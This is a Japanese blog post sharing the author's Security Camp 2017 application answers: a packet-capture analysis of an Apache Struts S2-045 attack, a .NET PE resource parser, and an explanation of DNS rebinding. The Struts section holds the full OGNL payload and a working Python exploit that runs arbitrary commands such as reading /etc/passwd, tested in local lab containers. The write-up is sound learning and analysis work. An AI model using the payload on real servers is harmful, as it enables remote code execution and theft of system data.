st98 の日記帳


[seccamp] セキュリティキャンプ全国大会 2017 に参加します

セキュキャン受かりました! やったー!

— st98 (@st98_) 2017年6月15日

セキュリティキャンプ全国大会 2017 に選択コースで参加することになりました。

2013 年にセキュリティキャンプのことを知って以来 4 度目 (?) の応募で、今回やっと選考を通過することができ、とても嬉しい気持ちです。よろしくお願いします。

以下、応募用紙でどのようなことを書いたか晒してみます。とりあえず選択問題だけ。

選択問題

選-A-1.

添付したファイルに記録された通信を検知しました。この通信が意図するものは何か、攻撃であると判断する場合は何の脆弱性を狙っているか。また、通信フローに欠けている箇所があるがどのような内容が想定されるか、考えられるだけ全て回答してください。なお、通信内容を検証した結果があれば評価に加えます。

添付された pcap ファイルを Wireshark で開いて通信を見てみると、192.168.74.1 から 192.168.74.130:8080 に向けて、以下のような不審な HTTP リクエストが送られているのが確認できました。

GET /struts2-rest-showcase/orders.xhtml HTTP/1.1
Host: 192.168.74.130:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Content-Type: Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

この HTTP リクエストについて、以下の 2 点から不審であると考えました。

この HTTP リクエストが何を意図したものか考えます。

/struts2-rest-showcase/orders.xhtml というパスから、192.168.74.1 は 192.168.74.130:8080 で Apache Struts 2 を利用した Web アプリケーションが動いていると考えて、あるいは機械的に総当たりでこのような HTTP リクエストを送ったと考えます。

この HTTP リクエストの Content-Type ヘッダについて、内容に含まれる #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) のような文字列から、これは OGNL (Object Graph Navigation Language) と呼ばれる言語で書かれた式であると分かります。

この HTTP リクエストは Apache Struts 2 を対象にしており、また Content-Type ヘッダの内容に OGNL 式を含むことから、Apache Struts 2 に存在した脆弱性 CVE-2017-5638 / S2-045 を狙った攻撃の試行であると判断しました。S2-045 は、Content-Type ヘッダに細工した OGNL 式を含ませることで任意のコードが実行できてしまうという脆弱性です。この脆弱性によって、例えば Web サイトの改ざんや情報の窃取、対象のサイトからの外部への攻撃など、様々な被害が発生する可能性があります。

この OGNL 式は何をするか、式の解析を行って調べていきます。

そのままでは読みにくいため、適時改行やインデントを入れて Content-Type の内容を整形すると以下のようになりました。

(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?
  (#_memberAccess=#dm):
  (
    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).
    (#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).
(#cmd='cat /etc/passwd')
(#iswin=
  (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=
  (#iswin?
    {'cmd.exe','/c',#cmd}:
    {'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=
  (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
(#ros.flush())

OGNL のドキュメント を参考に読んでいきます。#variable が変数、@class@method(args) が静的メソッドの呼び出し、{ e, ... } がリスト、e1.(e2) が式のチェーンを表すことを考えると、ほぼ Java として読めそうです。

後半の OS コマンドを実行している部分を見ていきます。まず System.getProperty("os.name") で OS の情報を取得しています。これは Windows 10 上では Windows 10、Linux 上では Linux のような文字列を返すメソッドです。これの返り値を全て小文字にした文字列の中に win が入っているかどうかで、OS が Windows かそうでないかを判定しているようです。
Windows であれば cmd.exe /c "cat /etc/passwd"、それ以外であれば /bin/bash -c "cat /etc/passwd"ProcessBuilder を使って OS コマンドとして実行しています。そして p.redirectErrorStream(true) で標準エラー出力を標準出力にリダイレクトしてエラーメッセージも得られるようにし、ros = ServletActionContext.getResponse().getOutputStream()IOUtils.copy(process.getInputStream(), ros) で出力を HTTP レスポンスに書き出しています。

これで、この OGNL 式がどのような処理を行うか分かりました。

添付された pcap ファイルには 1 回の攻撃の試行以降の通信が記録されていないため、192.168.74.130 からの HTTP レスポンスや 192.168.74.1 からのそれ以降の攻撃の試行を知ることは出来ません。したがって、環境の違いを考えてそれぞれどのようなことが想定されるか考えていきます。

そもそも 192.168.74.130 で Apache Struts 2 アプリケーションが動いていない場合、192.168.74.1 の攻撃の試行は失敗します。また、Apache Struts 2 のバージョンが S2-045 の修正された 2.3.32、2.5.10.1 以降である場合にも失敗します。

S2-045 が存在するバージョンの Apache Struts 2 アプリケーションが動いている場合、実行しているユーザの権限で任意のコードの実行ができ、攻撃が成立します。

ただし、192.168.74.130 に WAF が導入されており、S2-045 のシグネチャが用意されていたり、あるいは不正な HTTP リクエストヘッダとして検出されてブロックされる場合や、JVN (https://jvn.jp/vu/JVNVU93610402/) に記載されているようなワークアラウンドが実施されている場合など、S2-045 が修正されていないバージョンであっても攻撃が成立しない可能性も考えられます。

S2-045 を使って任意のコードの実行が可能である場合について、OS ごとに考えます。Linux であれば、cat /etc/passwd が成功して /etc/passwd の内容を得ることが出来ます。これによって攻撃者は対象の OS が Linux であること、存在するユーザの情報を知ることが出来ます。

Linux であることがわかれば、攻撃者は uname や ifconfig、ip、ps、ls などのコマンド、/etc/hosts や /proc/cpuinfo などのファイルから情報収集をして、本格的な攻撃を行うでしょう。

Windows であれば、本来 cat コマンドも /etc/passwd も存在しないため cat /etc/passwd は失敗しますが、攻撃者は出力されるエラーメッセージから対象の OS が Windows であることを推測できます。その後攻撃者は cat /etc/passwd を dir、type、powershell のような Windows のコマンドに変えて攻撃の試行を続けていくことが考えられます。

まとめると、この通信は 192.168.74.130 で Apache Struts 2 が動いているか、S2-045 を使った攻撃が可能か、可能ならどのような環境で動いているかといった情報を知ることを意図したものと考えます。

問題の通信やここまでに書いた内容について、実際に攻撃を行って検証していきます。

以下の記事を参考に、Docker を使って S2-045 が残っているバージョン (Apache Struts 2.5.10) の環境を用意し、実際に上記のような攻撃が行えるか確認します。

...

docker is configured to use the default machine with IP 192.168.99.100
For help getting started, check out the docs at https://docs.docker.com

Start interactive shell

...
$ wget https://dist.apache.org/repos/dist/release/struts/2.5.10/struts-2.5.10-apps.zip
$ unzip struts-2.5.10-apps.zip
$ cat Dockerfile
FROM tomcat:7.0-jre8
ADD struts-2.5.10/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/
CMD ["catalina.sh", "run"]

$ docker build -t seccamp2017-q1:vuln .
$ docker run -d -it --rm -p 8080:8080 seccamp2017-q1:vuln

これで攻撃対象のサーバの準備が出来ました。問題の通信で使われたペイロードをそのまま使い、/etc/passwd の内容を得ることが出来るか確認します。

$ cat exploit.py
import requests

url = 'http://192.168.99.100:8080/struts2-rest-showcase/orders.xhtml'
payload = "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

print requests.get(url, headers={
  'Content-Type': payload
}).content
$ python2 exploit.py
root:x:0:0:root:/root:/bin/bash
(省略)

/etc/passwd の内容を得ることが出来ました。脆弱性の修正されたバージョン (Apache Struts 2.5.10.1) でも同じペイロードを使って攻撃を試みます。

$ wget https://dist.apache.org/repos/dist/release/struts/2.5.10.1/struts-2.5.10.1-apps.zip
$ unzip struts-2.5.10.1-apps.zip
$ cat Dockerfile
FROM tomcat:7.0-jre8
ADD struts-2.5.10.1/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/
CMD ["catalina.sh", "run"]

$ docker build -t seccamp2017-q1:invuln .
$ docker run -d -it --rm -p 8080:8080 seccamp2017-q1:invuln
$ python2 exploit.py
<!DOCTYPE html>
(省略)

今度は /etc/passwd の内容は出力されませんでした。

Windows でも S2-045 が残っているバージョン (Apache Struts 2.5.10) の環境を用意して攻撃を試みます。以下の手順で環境を用意しました。

http://localhost:8080/struts2-rest-showcase/orders.xhtml でサービスが立ち上がっているのが確認できました。実行する OS コマンドを簡単に指定できるようにエクスプロイトを書き換えて、攻撃を行います。

C:\Users\st\Documents\seccamp2017\A-1\q1\win>type exploit.py
import requests
import sys

url = 'http://192.168.99.100:8080/struts2-rest-showcase/orders.xhtml'
payload = "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + sys.argv[1] + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

print requests.get(url, headers={
  'Content-Type': payload
}).content
C:\Users\st\Documents\seccamp2017\A-1\q1\win>python2 exploit.py "cat /etc/passwd"
'cat' は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチ ファイルとして認識されていません。

cat /etc/passwd は失敗しましたが、エラーメッセージから OS が Windows であることが推測できます。攻撃者は、例えば以下のようにしてカレントディレクトリを取得したり、ファイルやフォルダの一覧を取得したりするでしょう。

C:\Users\st\Documents\seccamp2017\A-1\q1\win>python2 exploit.py "cd"
C:\Program Files\Apache Software Foundation\Tomcat 8.5


C:\Users\st\Documents\seccamp2017\A-1\q1\win>python2 exploit.py "dir"
 ドライブ C のボリューム ラベルは XXXX です
 ボリューム シリアル番号は XXXX-XXXX です

 C:\Program Files\Apache Software Foundation\Tomcat 8.5 のディレクトリ

2017/05/17  03:45    <DIR>          .
2017/05/17  03:45    <DIR>          ..
2017/05/17  03:44    <DIR>          bin
(省略)
               4 個のファイル             XXX,XXX バイト
               9 個のディレクトリ  XX,XXX,XXX,XXX バイトの空き領域

C:\Users\st\Documents\seccamp2017\A-1\q1\win>python2 exploit.py "type C:\\Users\\st\\Documents\\seccamp2017\\A-1\\q1\\win\\flag.txt"
重要な情報

選-A-6.

PE(Portable Executable)ファイルフォーマットの構造を調べ、添付の.NETアプリケーションから文字列を取得する機能を実装してください。具体的には、ファイルの先頭からヘッダを順次参照することで.NETアプリケーションの文字列(String)型リソースを取得するプログラムを作成してください。その際、以下の制限、規則に従ってください。

完成したプログラムは以下のとおりです。

import io
import json
import struct
from ctypes import *

BYTE = c_ubyte
WORD = c_uint16
LONG = c_int32
DWORD = c_uint32

class IMAGE_DOS_HEADER(Structure):
  _fields_ = [
    ('e_magic', WORD),
    ('e_cblp', WORD),
    ('e_cp', WORD),
    ('e_crlc', WORD),
    ('e_cparhdr', WORD),
    ('e_minalloc', WORD),
    ('e_maxalloc', WORD),
    ('e_ss', WORD),
    ('e_sp', WORD),
    ('e_csum', WORD),
    ('e_ip', WORD),
    ('e_cs', WORD),
    ('e_lfarlc', WORD),
    ('e_ovno', WORD),
    ('e_res', WORD * 4),
    ('e_oemid', WORD),
    ('e_oeminfo', WORD),
    ('e_res2', WORD * 10),
    ('e_lfanew', LONG),
  ]

class IMAGE_FILE_HEADER(Structure):
  _fields_ = [
    ('Machine', WORD),
    ('NumberOfSections', WORD),
    ('TimeDateStamp', DWORD),
    ('PointerToSymbolTable', DWORD),
    ('NumberOfSymbols', DWORD),
    ('SizeOfOptionalHeader', WORD),
    ('Characteristics', WORD)
  ]

class IMAGE_DATA_DIRECTORY(Structure):
  _fields_ = [
    ('VirtualAddress', DWORD),
    ('Size', DWORD)
  ]

class IMAGE_OPTIONAL_HEADER(Structure):
  _fields_ = [
    ('Magic', WORD),
    ('MajorLinkerVersion', BYTE),
    ('MinorLinkerVersion', BYTE),
    ('SizeOfCode', DWORD),
    ('SizeOfInitializedData', DWORD),
    ('SizeOfUninitializedData', DWORD),
    ('AddressOfEntryPoint', DWORD),
    ('BaseOfCode', DWORD),
    ('BaseOfData', DWORD),
    ('ImageBase', DWORD),
    ('SectionAlignment', DWORD),
    ('FileAlignment', DWORD),
    ('MajorOperatingSystemVersion', WORD),
    ('MinorOperatingSystemVersion', WORD),
    ('MajorImageVersion', WORD),
    ('MinorImageVersion', WORD),
    ('MajorSubsystemVersion', WORD),
    ('MinorSubsystemVersion', WORD),
    ('Win32VersionValue', DWORD),
    ('SizeOfImage', DWORD),
    ('SizeOfHeaders', DWORD),
    ('CheckSum', DWORD),
    ('Subsystem', WORD),
    ('DllCharacteristics', WORD),
    ('SizeOfStackReserve', DWORD),
    ('SizeOfStackCommit', DWORD),
    ('SizeOfHeapReserve', DWORD),
    ('SizeOfHeapCommit', DWORD),
    ('LoaderFlags', DWORD),
    ('NumberOfRvaAndSizes', DWORD),
    ('DataDirectory', IMAGE_DATA_DIRECTORY * 16)
  ]

class IMAGE_NT_HEADERS(Structure):
  _fields_ = [
    ('Signature', DWORD),
    ('FileHeader', IMAGE_FILE_HEADER),
    ('OptionalHeader', IMAGE_OPTIONAL_HEADER)
  ]

class IMAGE_SECTION_HEADER(Structure):
  class Misc(Union):
    _fields_ = [
      ('PhysicalAddress', DWORD),
      ('VirtualSize', DWORD)
    ]

  _fields_ = [
    ('Name', BYTE * 8),
    ('Misc', Misc),
    ('VirtualAddress', DWORD),
    ('SizeOfRawData', DWORD),
    ('PointerToRawData', DWORD),
    ('PointerToRelocations', DWORD),
    ('PointerToLinenumbers', DWORD),
    ('NumberOfRelocations', WORD),
    ('NumberOfLinenumbers', WORD),
    ('Characteristics', DWORD),
  ]

class IMAGE_COR20_HEADER(Structure):
  class Union_1(Union):
    _fields_ = [
      ('EntryPointToken', DWORD),
      ('EntryPointRVA', DWORD)
    ]

  _fields_ = [
    ('cb', DWORD),
    ('MajorRuntimeVersion', WORD),
    ('MinorRuntimeVersion', WORD),
    ('MetaData', IMAGE_DATA_DIRECTORY),
    ('Flags', DWORD),
    ('Union', Union_1),
    ('Resources', IMAGE_DATA_DIRECTORY),
    ('StrongNameSignature', IMAGE_DATA_DIRECTORY),
    ('CodeManagerTable', IMAGE_DATA_DIRECTORY),
    ('VTableFixups', IMAGE_DATA_DIRECTORY),
    ('ExportAddressTableJumps', IMAGE_DATA_DIRECTORY),
    ('ManagedNativeHeader', IMAGE_DATA_DIRECTORY),
  ]

IMAGE_DIRECTORY_ENTRY_RESOURCE = 2
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14

RESOURCE_TYPE_STRING = 1

def _u32(s):
  return struct.unpack('<I', s)[0]

class ResourceFile:
  def __init__(self, file):
    self.file = file
    self.magic = None
    self.header_version = None
    self.version = None
    self.resources = None
    self.parse()

  # https://github.com/dotnet/coreclr/blob/master/src/mscorlib/src/System/IO/BinaryReader.cs#L643
  def read_7bit_encoded_int(self):
    count = 0
    shift = 0
    while True:
      b = ord(self.file.read(1))
      count |= (b & 0x7f) << shift
      shift += 7
      if b & 0x80 == 0:
        break
    return count

  def parse(self):
    self.magic = _u32(self.file.read(4))
    self.header_version = _u32(self.file.read(4))

    size = _u32(self.file.read(4))
    self.file.read(size)

    self.version = _u32(self.file.read(4))

    resources = []

    if self.version == 2:
      n = _u32(self.file.read(4)) # number of resources
      m = _u32(self.file.read(4)) # number of types

      self.file.read(8 - self.file.tell() % 8) # padding

      # hash values
      for _ in range(n):
        self.file.read(4)

      # virtual offsets
      for _ in range(n):
        self.file.read(4)

      self.file.read(4) # absolute location of data section

      for _ in range(n):
        size = self.read_7bit_encoded_int()
        res = self.file.read(size).decode('utf16')
        resources.append({'name': res})
        self.file.read(4) # virtual offset

      for k in range(n):
        type_code = self.read_7bit_encoded_int() # type code
        if type_code == RESOURCE_TYPE_STRING:
          size = self.read_7bit_encoded_int()
          res = b''
          for _ in range(size): 
            res += self.file.read(1)
          resources[k]['value'] = res.decode()

    self.resources = resources

  def dump_resources(self, f):
    f.write('=====[ .NET Resources ]=====\n')
    for resource in self.resources:
      f.write('%s\n' % json.dumps(resource))

class PEFile:
  def __init__(self, file):
    self.file = file
    self.dos_header = None
    self.nt_headers = None
    self.section_headers = None
    self.resources = None
    self.resources_cli = None
    self.cor20_header = None
    self.parse()

  def rva_to_offset(self, address, section_header):
    return address - section_header.VirtualAddress + section_header.PointerToRawData

  def parse_dos_header(self):
    dos_header = IMAGE_DOS_HEADER()
    self.file.readinto(dos_header)
    self.dos_header = dos_header

  def parse_nt_headers(self):
    nt_headers = IMAGE_NT_HEADERS()
    self.file.readinto(nt_headers)
    self.nt_headers = nt_headers

  def get_data_directory(self, entry):
    return self.nt_headers.OptionalHeader.DataDirectory[entry]

  def parse_section_headers(self):
    section_headers = []

    for _ in range(self.nt_headers.FileHeader.NumberOfSections):
      section_header = IMAGE_SECTION_HEADER()
      self.file.readinto(section_header)
      section_headers.append(section_header)
  
    self.section_headers = section_headers

  def get_section_header(self, address):
    for section_header in self.section_headers:
      if section_header.VirtualAddress <= address <= section_header.VirtualAddress + section_header.SizeOfRawData:
        return section_header

    return None

  def is_data_exist(self, data_directory):
    return data_directory.VirtualAddress != 0

  @property
  def is_managed(self):
    data_directory = self.get_data_directory(IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR)
    return self.is_data_exist(data_directory)

  def parse_cli_header(self, section_header):
    cor20_header = IMAGE_COR20_HEADER()
    self.file.readinto(cor20_header)
    self.cor20_header = cor20_header

    if self.is_data_exist(cor20_header.Resources):
      self.file.seek(self.rva_to_offset(cor20_header.Resources.VirtualAddress, section_header))
      size = _u32(self.file.read(4))
      resources = self.file.read(size)
      self.resources_cli = ResourceFile(io.BytesIO(resources))

  def parse_data(self):
    for entry in range(16):
      if entry == IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR and self.is_managed:
        data_directory = self.get_data_directory(entry)
        section_header = self.get_section_header(data_directory.VirtualAddress)
        self.file.seek(self.rva_to_offset(data_directory.VirtualAddress, section_header))
        self.parse_cli_header(section_header)

  def parse(self):
    self.parse_dos_header()
    self.file.seek(self.dos_header.e_lfanew)
    self.parse_nt_headers()
    self.parse_section_headers()
    self.parse_data()

  def dump_resources(self, f):
    if self.resources_cli:
      self.resources_cli.dump_resources(f)

if __name__ == '__main__':
  import sys

  if len(sys.argv) < 2:
    sys.stderr.write('usage: python %s <pe file>\n' % sys.argv[0])
    sys.exit(1)

  with open(sys.argv[1], 'rb') as f:
    pe = PEFile(f)
    pe.dump_resources(sys.stdout)

プログラムを作るにあたって、まず PE ファイルがどのような構造になっているか以下のサイトで調べました。

その結果、PE ファイルは以下のような構造になっていることが分かりました。

PE ファイルはまず IMAGE_DOS_HEADER から始まります。これは MS-DOS 用のヘッダで、PE の場合にはシグネチャを示す e_magic フィールド、IMAGE_NT_HEADERS の位置を示す e_lfanew フィールドぐらいしか使いません。

IMAGE_NT_HEADERS はシグネチャを示す Signature フィールド、PE ファイルの情報を示す FileHeader フィールドと OptionalHeader フィールドを持っています。OptionalHeader フィールドは IMAGE_OPTIONAL_HEADER で表され、この中の DataDirectory フィールドは IMAGE_DATA_DIRECTORY の配列で、それぞれデータの位置とサイズを示しています。何番目の要素であるかでどのようなデータを指すか決まっており、例えば 7 番目 (IMAGE_DIRECTORY_ENTRY_DEBUG) の要素はデバッグ情報のデータを指します。

IMAGE_NT_HEADERS の後ろにセクションの個数だけ IMAGE_SECTION_HEADER が続きます。これはセクションの情報 (セクション名、メモリ上でのセクションの位置、ファイル上でのセクションの位置など) を持ちます。メモリ上でのセクションの位置を示す VirtualAddress は RVA (Relative Virtual Address) と呼ばれる形式で表されます。これはメモリ上での位置で、例えば IMAGE_DATA_DIRECTORY からファイル上の位置を得たい場合には address - IMAGE_SECTION_HEADER.VirtualAddress + IMAGE_SECTION_HEADER.PointerToRawData のように計算します。

さらにその後ろにセクションデータが続きます。

.NET アプリケーションの場合リソースがどのように扱われるか、以下のサイトで調べました。

まず IMAGE_OPTIONAL_HEADER の DataDirectory フィールドの 15 番目 (IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR) の要素の VirtualAddress フィールドが 0 でない場合、この先に IMAGE_COR20_HEADER が存在します。

IMAGE_COR20_HEADER は CLI ヘッダと呼ばれ、エントリーポイントを示す EntryPointToken もしくは EntryPointRVA フィールド、リソースを示す Resources フィールドなどを持ちます。Resources フィールドは IMAGE_DATA_DIRECTORY で表され、この VirtualAddress フィールドが 0 でなければその先にリソースが存在します。

ここまでをまとめると、.NET アプリケーションからリソースを読み込む流れは以下のようになります。

IMAGE_DOS_HEADER を読み込む
-> e_lfanew フィールドの値から IMAGE_NT_HEADERS の位置を得る
-> IMAGE_NT_HEADERS を読み込む
-> IMAGE_FILE_HEADER の NumberOfSections フィールドからセクションの数を得る
-> セクションの数だけ IMAGE_SECTION_HEADER を読み込む
-> IMAGE_OPTIONAL_HEADER の DataDirectory フィールドの 15 番目の要素の VirtualAddress と IMAGE_SECTION_HEADER から、IMAGE_COR20_HEADER の位置を得る
-> IMAGE_COR20_HEADER を読み込む
-> IMAGE_COR20_HEADER の Resources を読み込む

リソースはどのような形式なのか、マジックナンバーらしき CE CA EF BE (0xbeefcace) で検索してみると以下のページがヒットし、これは .resources ファイルらしいと分かりました。

.resources ファイルについてのドキュメントは見つかりませんでしたが、以下のページを参考にパーサを実装すると添付の .NET アプリケーションから文字列を取得することが出来ました。

> python pe.py sample\ConsoleApplication1.exe
=====[ .NET Resources ]=====
{"name": "String1", "value": "Hello world!"}
{"name": "String2", "value": "hoge fuga"}
{"name": "String3", "value": "string test"}

別途自作の .NET アプリケーションでも試したところ、こちらも文字列を取得することが出来ました。

> python pe.py sample\Test1.exe
=====[ .NET Resources ]=====
{"value": "bar", "name": "foo"}
{"value": "fuga", "name": "hoge"}

(作成したプログラムの工夫点)

普段から使い慣れていることから、使う言語には Python を選びました。工夫点は以下のとおりです。

また、コマンドとしてだけでなく以下のようにライブラリとしても使えるようになっています。

> cat test.py
from pe import PEFile

with open('sample/ConsoleApplication1.exe', 'rb') as f:
  pe = PEFile(f)
  resource = pe.resources_cli
  for item in resource.resources:
    print('{}|{}'.format(item['name'], item['value']))

> python test.py
String1|Hello world!
String2|hoge fuga
String3|string test

プログラムを書いている途中に悩んだ点として、Windows と Linux の環境の違いがあります。

最初、プログラム中の LONG と DWORD はそれぞれ ctypes.c_long と ctypes.c_ulong としていました。この場合 Windows で実行すると期待した動作をするのに対して、Linux で実行すると IMAGE_DOS_HEADER の e_lfanew フィールドが -0x32f64bfff145e0f2 というおかしな値になってしまい、IMAGE_FILE_HEADER の読み込みに失敗していました。その直前の e_res2 フィールドの値を調べてみると Windows と Linux で違いがないことから、e_lfanew フィールドの型に原因があると推測しました。

しばらく調べると 64bit 版の Windows では LLP64 (long が 32bit)、64bit 版の Linux では LP64 (long が 64bit) を採用しており、long のサイズが異なっていることが分かりました。実際に以下の Python プログラムで検証して Windows は 4、Linux は 8 を出力することが確認できました。

from ctypes import *
print sizeof(c_long)

プログラム中の LONG と DWORD をそれぞれ ctypes.c_int32 と ctypes.c_uint32 に変えてサイズを固定すると、Linux でも期待した動作をするようになりました。

選-A-7.

Same Origin Policyに関する脆弱性から自分がもっとも気になっているものを選び、その脆弱性がどのようなものかを説明してください。 次に、あなたがもし悪意を持つ側だとしたら、その脆弱性をどのように悪用(活用)するかを想像して書いてください。

Same Origin Policy に関する脆弱性というと、例えばブラウザやプラグイン自体に脆弱性が存在してバイパスされてしまうケース、Flash で crossdomain.xml に不備があるケースなどが思いつきますが、中でも私は DNS Rebinding が気になっています。

そもそも Same Origin Policy とは、表示しているページと同一のオリジン (スキーム、ホスト、ポートを組み合わせたもの) でないページについて、XMLHttpRequest や iframe (X-Frame-Options で制限されている場合) などによるアクセスに制限をかけるという仕組みです。

DNS Rebinding は、ページの表示中にホストの指す IP アドレスを変更することで、オリジンはそのままに接続先を変えさせることができ、Same Origin Policy の制限をバイパスできるというものです。

私は 0CTF という CTF の 2016 年のオンライン予選で出題された Monkey という問題で DNS Rebinding を知りました。これは任意の URL を与えると問題サーバの bot がアクセスして 2 分程度とどまってくれるので、その間に bot に http://127.0.0.1:8080/secret の内容を読み出させることでフラグが得られるという問題でした。

私は競技時間内にその問題を解くことはできませんでしたが、以下のように複数のチームによって競技終了後に解法が公開されました。

これは、example.com の TTL を非常に短い時間に設定し、bot に http://example.com:8080 にアクセスさせ、その後 example.com が 127.0.0.1 を指すようにし、setTimeout を使って数十秒後に XMLHttpRequest で http://example.com:8080/secret を読み出すとフラグが得られるという流れでした。

この解法を読んだ時、ブラウザの脆弱性を突くのではなく、DNS を使って攻撃するというのがエレガントに感じられたのが印象に残っています。

DNS Rebinding はブラウザ側とサーバ側の両方から対策をすることができます。

まずブラウザ側の対策としては、(あまり効果的ではないものの) DNS Pinning があります。これは TTL が非常に短く設定されていても無視して、最初に名前解決した際の IP アドレスをしばらく保持し続けるというものです。例えば Google Chrome の場合、少なくとも 1 分は保持し続けます。

サーバ側の対策としては、Host ヘッダの確認 (例えば Apache の場合は VirtualHost を使う) をして正規のリクエスト以外は弾くというようなものがあります。

自分が悪意を持つ側なら DNS Rebinding をどのように悪用できるかを考えます。

Monkey のように、DNS Rebinding によって外部からはアクセスできない内部のサーバに対して間接的にアクセスできる可能性があります。

これによって、例えば被害者を踏み台にして内部サーバの探索をしたり、脆弱性のスキャンを行ってより大きな攻撃に繋げたり、重要な情報があればそれを窃取したりといった悪用のシナリオが考えられます。

このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳